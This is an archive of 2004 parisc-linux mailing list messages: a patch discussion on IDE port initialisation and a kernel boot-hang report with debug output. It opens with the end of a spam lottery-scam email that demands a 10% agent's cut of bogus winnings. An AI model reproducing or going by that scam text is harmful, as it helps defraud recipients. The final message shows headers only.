2004=2E Any claim not made before this date will be returned to the 
MINISTERIO DE ECONOMIA Y HACIENDA=2E And also be informed that 10% of your
 lottery winning belongs to your agent because they are the company that
 bought your ticket and played the lottery on your name=2C NOTE this 10% 
will be remitted=2EAFTER you have received your winnings prize because the
 money is insured in your name already=2E
NOTE=3A In order to avoid unnecessary delays and complications=2C please 
remember to quote your reference and batch numbers in every of your 
correspondence with us or your claim agent=2E furthermore=2C should there be
 any change of address=2C please do inform your claim agent as soon as 
possible=2E A copy of your lucky winning ticket and your deposit 
certificate will be sent to you by your claim agent=2C DR DAVID PEDRO=2ECONGRATULATION!!!!!
Once again from all members of our staff and thank you for being a part 
of our International promotions program=2C we wish you continued good 
fortunes=2E
Sincerely=2C
MRS BEATRICE GOMEZ
VICE PRESIDENT=2E





From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] asm-parisc/ide.h cleanup (there are no
	standard ports)
Date: Sat, 27 Mar 2004 15:28:10 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20040327222810.GB24782__20555.8751863011$1416623310$gmane$org@colo.lackof.org>
References: <200403241443.43206.bzolnier@elka.pw.edu.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623310 7329 80.91.229.3 (22 Nov 2014 02:28:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:30 +0000 (UTC)
Cc: linux-ide@vger.kernel.org, parisc-linux@parisc-linux.org
To: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Original-X-From: grundler@lackof.org  Sat Mar 27 15:28:12 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2099C489D
	for <parisc-linux@parisc-linux.org>;
	Sat, 27 Mar 2004 15:28:12 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D5A7A2980B8; Sat, 27 Mar 2004 15:28:10 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 24813-04; Sat, 27 Mar 2004 15:28:10 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 253602980B6; Sat, 27 Mar 2004 15:28:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200403241443.43206.bzolnier@elka.pw.edu.pl>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 22:28:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21211

On Wed, Mar 24, 2004 at 02:43:43PM +0100, Bartlomiej Zolnierkiewicz wrote:
> 
> Hi,
> 
> Is this patch correct?

It's not necessary.

> Regards,
> Bartlomiej
> 
>  linux-2.6.5-rc2-bk3-root/include/asm-parisc/ide.h |   15 ++-------------
>  1 files changed, 2 insertions(+), 13 deletions(-)
> 
> diff -puN include/asm-parisc/ide.h~parisc_no_default_ide_ports include/asm-parisc/ide.h
> --- linux-2.6.5-rc2-bk3/include/asm-parisc/ide.h~parisc_no_default_ide_ports	2004-03-24 14:39:06.293991064 +0100
> +++ linux-2.6.5-rc2-bk3-root/include/asm-parisc/ide.h	2004-03-24 14:39:33.400870192 +0100
> @@ -41,19 +41,8 @@ static __inline__ void ide_init_hwif_por
>  	hw->io_ports[IDE_IRQ_OFFSET] = 0;
>  }
>  
> -static __inline__ void ide_init_default_hwifs(void)
> -{
> -#ifndef CONFIG_PCI
> -	hw_regs_t hw;
> -	int index;
> -
> -	for(index = 0; index < MAX_HWIFS; index++) {
> -		ide_init_hwif_ports(&hw, ide_default_io_base(index), 0, NULL);
> -		hw.irq = ide_default_irq(ide_default_io_base(index));
> -		ide_register_hw(&hw);
> -	}
> -#endif
> -}
> +/* There are no standard ports. */
> +static inline void ide_init_default_hwifs(void)	{ ; }

Note the "ifndef CONFIG_PCI" - we only support IDE behind PCI to date.
ie this function already is "empty" for parisc since PCI must be enabled
when IDE is enabled. Hypothetically someone could add an IDE card
to a parisc EISA bus (eg 725), not define PCI, and then run the IDE
in PIO mode since DMA is still kaputt behind our EISA IOMMU.


thanks,
grant



From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Sat, 27 Mar 2004 22:43:46 +0000
Lines: 195
Approved: news@gmane.org
Message-ID: <406603A2.5080209@tiscali.be>
References: <405D95D0.9030600@tiscali.be>
	<20040321195716.GC12455@colo.lackof.org>
	<20040323045151.GA6190@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623310 7332 80.91.229.3 (22 Nov 2014 02:28:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:30 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sat Mar 27 15:43:50 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6936C48C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Mar 2004 15:43:49 -0700 (MST)
Original-Received: from [83.134.224.161] (port=33354 helo=tiscali.be)
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B7MWn-0002q6-70; Sat, 27 Mar 2004 23:43:45 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
In-Reply-To: <20040323045151.GA6190@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 22:43:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21212

Hello Grant,

Back to all with this pb

Grant Grundler wrote:
> On Sun, Mar 21, 2004 at 12:57:16PM -0700, Grant Grundler wrote:
> 
>>>Kernel Fault: Code=26 regs=10594380 (Addr=00000000)
>>
>>null ptr deref.
>>
>>...
>>
>>> IAOQ[0]: lasi700_probe+0x18c/0x1cc
>>> IAOQ[1]: lasi700_probe+0x190/0x1cc
>>> RP(r2): lasi700_probe+0x58/0x1cc
>>
>>IOAQ[0] is the offending instruction.

First of all this is my fault: for this b2k I used to compile the 2.6 kernel with b180 config :(
But I didn't notice that there was recently changes in this file.
To solve this pb I so had to add 'U2/Uturn I/O MMU' and also Zalon to make it bootable again (and finaly 'Lasi ethernet' to just 
have network access :) ).

> 
> 
> James Bottomley observed a problem with hppa_dma_ops
> not being set properly for his U2/Uturn box.
> This is likely the same problem.
> See ccio driver isn't claiming the chip when it should.
> 
That said, I am not able to link jejb with what I observe but here is the story.
The system boot but hang very quickly as soon as io rate increase as per a find of a file name :( (reproducible on request)
I then get mesg
arq->state 2
Badness in as_requeue_request at drivers/block/as-iosched.c:1479
Kernel addresses on the stack:
[snip]
[<10108c5c>] ret_from_kernel_thread+0x1c/0x24

I so added some printk as follow in  drivers/block/as-iosched.c
[snip]
static void as_requeue_request(request_queue_t *q, struct request *rq)
{
         struct as_data *ad = q->elevator.elevator_data;
         struct as_rq *arq = RQ_DATA(rq);

         if (arq) {
                 if (arq->state != AS_RQ_REMOVED) {
                         printk("arq->state %d\n", arq->state);
                         WARN_ON(1);
                 }

/* JSO */
                 printk("as_requeue_request will now set arq->state.\n");
/* JSO */
                 arq->state = AS_RQ_DISPATCHED;
/* JSO */
                 printk("as_requeue_request has just set arq->state.\n");
                 if (arq->io_context && arq->io_context->aic)
                         printk("as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).\n");
/* JSO */
                 if (arq->io_context && arq->io_context->aic)
                         atomic_inc(&arq->io_context->aic->nr_dispatched);
                 printk("finished if (arq).\n");
         } else
                 WARN_ON(blk_fs_request(rq)
                         && (!(rq->flags & (REQ_HARDBARRIER|REQ_SOFTBARRIER))) );

         printk("as_requeue_request will now list_add().\n");
         list_add(&rq->queuelist, ad->dispatch);
         printk("as_requeue_request has just list_add().\n");

         /* Stop anticipating - let this request get through */
         printk("as_requeue_request will now (as_antic_stop(%p)).\n", ad);
         as_antic_stop(ad);
         printk("as_requeue_request has just (as_antic_stop(%p)).\n", ad);
}
[snip]

And here is a sample of what I can grab from serial console when I trigger a find:
as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b89a0)).
as_requeue_request has just (as_antic_stop(100b89a0)).
as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b89a0)).
as_requeue_request has just (as_antic_stop(100b89a0)).
as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b89a0)).
as_requeue_request has just (as_antic_stop(100b89a0)).
as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b89a0)).
as_requeue_request has just (as_antic_stop(100b89a0)).
arq->state 2
Badness in as_requeue_request at drivers/block/as-iosched.c:1479
Kernel addresses on the stack:
  [<10124528>] printk+0x144/0x1c0
  [<101036bc>] dump_stack+0x18/0x24
  [<102276a0>] as_requeue_request+0x5c/0x17c
  [<1021e630>] elv_requeue_request+0x30/0x3c
  [<1023baf4>] scsi_request_fn+0x220/0x2bc
  [<1021e630>] elv_requeue_request+0x30/0x3c
  [<102212b8>] blk_insert_request+0xd8/0xf0
  [<1023a978>] scsi_queue_insert+0x6c/0xa0
  [<1023b7bc>] scsi_prep_fn+0xc4/0x1dc
  [<102368f8>] scsi_dispatch_cmd+0x118/0x22c
  [<1021e820>] elv_remove_request+0x34/0x44
  [<1023ba80>] scsi_request_fn+0x1ac/0x2bc
  [<102273f0>] as_next_request+0x44/0x54
  [<10228218>] as_work_handler+0x44/0x48
  [<101344e4>] worker_thread+0x1e4/0x280
  [<101200cc>] schedule+0x3f8/0x718
  [<101385f4>] kthread+0xdc/0xe4
  [<10108c5c>] ret_from_kernel_thread+0x1c/0x24

as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b89a0)).
as_requeue_request has just (as_antic_stop(100b89a0)).

as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b8aa0)).
as_requeue_request has just (as_antic_stop(100b8aa0)).
as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b8aa0)).
as_requeue_request has just (as_antic_stop(100b8aa0)).
as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b8aa0)).
as_requeue_request has just (as_antic_stop(100b8aa0)).
as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b8aa0)).
as_requeue_request has just (as_antic_stop(100b8aa0)).
as_requeue_request will now set arq->state.
as_requeue_request has just set arq->state.
as_requeue_request will now atomic_inc(&arq->io_context->aic->nr_dispatched).
finished if (arq).
as_requeue_request will now list_add().
as_requeue_request has just list_add().
as_requeue_request will now (as_antic_stop(100b8aa0)).
as_requeue_request has just (as_antic_stop(100b8aa0)).
[snip]

it seems to be infinite loop :(

Any idea?

Thanks in advance,
     Joel




From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] asm-parisc/ide.h cleanup (there are no
	standard ports)
Date: Sun, 28 Mar 2004 00:24:57 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <200403280024.57672.bzolnier__42779.5008443811$1416623310$gmane$org@elka.pw.edu.pl>
References: <200403241443.43206.bzolnier@elka.pw.edu.pl>
	<20040327222810.GB24782@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623310 7335 80.91.229.3 (22 Nov 2014 02:28:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:30 +0000 (UTC)
Cc: linux-ide@vger.kernel.org, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: B.Zolnierkiewicz@elka.pw.edu.pl  Sat Mar 27 16:16:06 2004
Return-Path: <B.Zolnierkiewicz@elka.pw.edu.pl>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mion.elka.pw.edu.pl (mion.elka.pw.edu.pl [194.29.160.35])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 02BD648C3; Sat, 27 Mar 2004 16:16:06 -0700 (MST)
Original-Received: from chello062179061026.chello.pl ([62.179.61.26]:34001 "EHLO
	192.168.0.252") by mion.elka.pw.edu.pl with ESMTP id <S14988AbUC0XPs>; 
	Sun, 28 Mar 2004 00:15:48 +0100
User-Agent: KMail/1.5.3
In-Reply-To: <20040327222810.GB24782@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by AMaViS perl-11 mion
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 23:16:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21213

On Saturday 27 of March 2004 23:28, Grant Grundler wrote:
> On Wed, Mar 24, 2004 at 02:43:43PM +0100, Bartlomiej Zolnierkiewicz wrote:
> > Hi,
> >
> > Is this patch correct?
>
> It's not necessary.

Well, I know but I have other cleanups incremental to this one. :-)

> > Regards,
> > Bartlomiej
> >
> >  linux-2.6.5-rc2-bk3-root/include/asm-parisc/ide.h |   15 ++-------------
> >  1 files changed, 2 insertions(+), 13 deletions(-)
> >
> > diff -puN include/asm-parisc/ide.h~parisc_no_default_ide_ports
> > include/asm-parisc/ide.h ---
> > linux-2.6.5-rc2-bk3/include/asm-parisc/ide.h~parisc_no_default_ide_ports	
> >2004-03-24 14:39:06.293991064 +0100 +++
> > linux-2.6.5-rc2-bk3-root/include/asm-parisc/ide.h	2004-03-24
> > 14:39:33.400870192 +0100 @@ -41,19 +41,8 @@ static __inline__ void
> > ide_init_hwif_por
> >  	hw->io_ports[IDE_IRQ_OFFSET] = 0;
> >  }
> >
> > -static __inline__ void ide_init_default_hwifs(void)
> > -{
> > -#ifndef CONFIG_PCI
> > -	hw_regs_t hw;
> > -	int index;
> > -
> > -	for(index = 0; index < MAX_HWIFS; index++) {
> > -		ide_init_hwif_ports(&hw, ide_default_io_base(index), 0, NULL);
> > -		hw.irq = ide_default_irq(ide_default_io_base(index));
> > -		ide_register_hw(&hw);
> > -	}
> > -#endif
> > -}
> > +/* There are no standard ports. */
> > +static inline void ide_init_default_hwifs(void)	{ ; }
>
> Note the "ifndef CONFIG_PCI" - we only support IDE behind PCI to date.
> ie this function already is "empty" for parisc since PCI must be enabled

It is also NOP for #ifdef CONFIG_PCI (that is the reason for this patch BTW)
since both ide_default_io_base() and ide_default_irq() are defined as '0'.

> when IDE is enabled. Hypothetically someone could add an IDE card
> to a parisc EISA bus (eg 725), not define PCI, and then run the IDE
> in PIO mode since DMA is still kaputt behind our EISA IOMMU.

That would require (at least) passing "ide=base[,ctl,[irq]]" kernel parameter.

Regards,
Bartlomiej



From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] asm-parisc/ide.h cleanup (there are no
	standard ports)
Date: Sat, 27 Mar 2004 16:49:26 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20040327234926.GC24782__3252.39992603219$1416623311$gmane$org@colo.lackof.org>
References: <200403241443.43206.bzolnier@elka.pw.edu.pl>
	<20040327222810.GB24782@colo.lackof.org>
	<200403280024.57672.bzolnier@elka.pw.edu.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623311 7337 80.91.229.3 (22 Nov 2014 02:28:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:31 +0000 (UTC)
Cc: linux-ide@vger.kernel.org, parisc-linux@parisc-linux.org
To: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Original-X-From: grundler@lackof.org  Sat Mar 27 16:49:27 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D781B48C6
	for <parisc-linux@parisc-linux.org>;
	Sat, 27 Mar 2004 16:49:27 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 433A52980B7; Sat, 27 Mar 2004 16:49:27 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 25726-08; Sat, 27 Mar 2004 16:49:26 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B65802980B6; Sat, 27 Mar 2004 16:49:26 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200403280024.57672.bzolnier@elka.pw.edu.pl>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 23:49:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21214

On Sun, Mar 28, 2004 at 12:24:57AM +0100, Bartlomiej Zolnierkiewicz wrote:
> Well, I know but I have other cleanups incremental to this one. :-)

Ah ok - go for it.

> It is also NOP for #ifdef CONFIG_PCI (that is the reason for this patch BTW)
> since both ide_default_io_base() and ide_default_irq() are defined as '0'.

Ok - I didn't look any deeper.

> > Hypothetically someone could add an IDE card
> > to a parisc EISA bus (eg 725), not define PCI, and then run the IDE
> > in PIO mode since DMA is still kaputt behind our EISA IOMMU.
> 
> That would require (at least) passing "ide=base[,ctl,[irq]]" kernel parameter.

I was told offline my hypothetical example is in fact hypothetical.
parisc won't build with IDE unless PCI is defined. I haven't tried.

thanks,
grant


From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] asm-parisc/ide.h cleanup (there are no
	standard ports)
Date: Sat, 27 Mar 2004 16:21:39 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20040328002139.GE750__21368.4555878446$1416623311$gmane$org@tausq.org>
References: <200403241443.43206.bzolnier@elka.pw.edu.pl>
	<20040327222810.GB24782@colo.lackof.org>
	<200403280024.57672.bzolnier@elka.pw.edu.pl>
	<20040327234926.GC24782@colo.lackof.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623311 7338 80.91.229.3 (22 Nov 2014 02:28:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:31 +0000 (UTC)
Cc: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>,
	linux-ide@vger.kernel.org, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: randolph@tausq.org  Sat Mar 27 16:52:51 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4478448CA; Sat, 27 Mar 2004 16:52:51 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C1303CD29F; Sat, 27 Mar 2004 16:21:39 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20040327234926.GC24782@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 23:52:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21215

> I was told offline my hypothetical example is in fact hypothetical.
> parisc won't build with IDE unless PCI is defined. I haven't tried.

not exactly. what i meant is, without this patch, if you built pa with
ide enabled but pci disabled you will get a compilation error.

i think this patch looks ok too. will commit to our tree and let willy
propogate upstream :)

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] asm-parisc/ide.h cleanup (there are no
	standard ports)
Date: Sun, 28 Mar 2004 01:04:51 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <200403280104.51341.bzolnier__6731.22804514623$1416623311$gmane$org@elka.pw.edu.pl>
References: <200403241443.43206.bzolnier@elka.pw.edu.pl>
	<200403280024.57672.bzolnier@elka.pw.edu.pl>
	<20040327234926.GC24782@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623311 7342 80.91.229.3 (22 Nov 2014 02:28:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:31 +0000 (UTC)
Cc: linux-ide@vger.kernel.org, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: B.Zolnierkiewicz@elka.pw.edu.pl  Sat Mar 27 16:55:41 2004
Return-Path: <B.Zolnierkiewicz@elka.pw.edu.pl>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mion.elka.pw.edu.pl (mion.elka.pw.edu.pl [194.29.160.35])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B33BC48CD; Sat, 27 Mar 2004 16:55:41 -0700 (MST)
Original-Received: from chello062179061026.chello.pl ([62.179.61.26]:34055 "EHLO
	192.168.0.252") by mion.elka.pw.edu.pl with ESMTP id <S14995AbUC0Xzh>; 
	Sun, 28 Mar 2004 00:55:37 +0100
User-Agent: KMail/1.5.3
In-Reply-To: <20040327234926.GC24782@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by AMaViS perl-11 mion
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 23:55:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21216

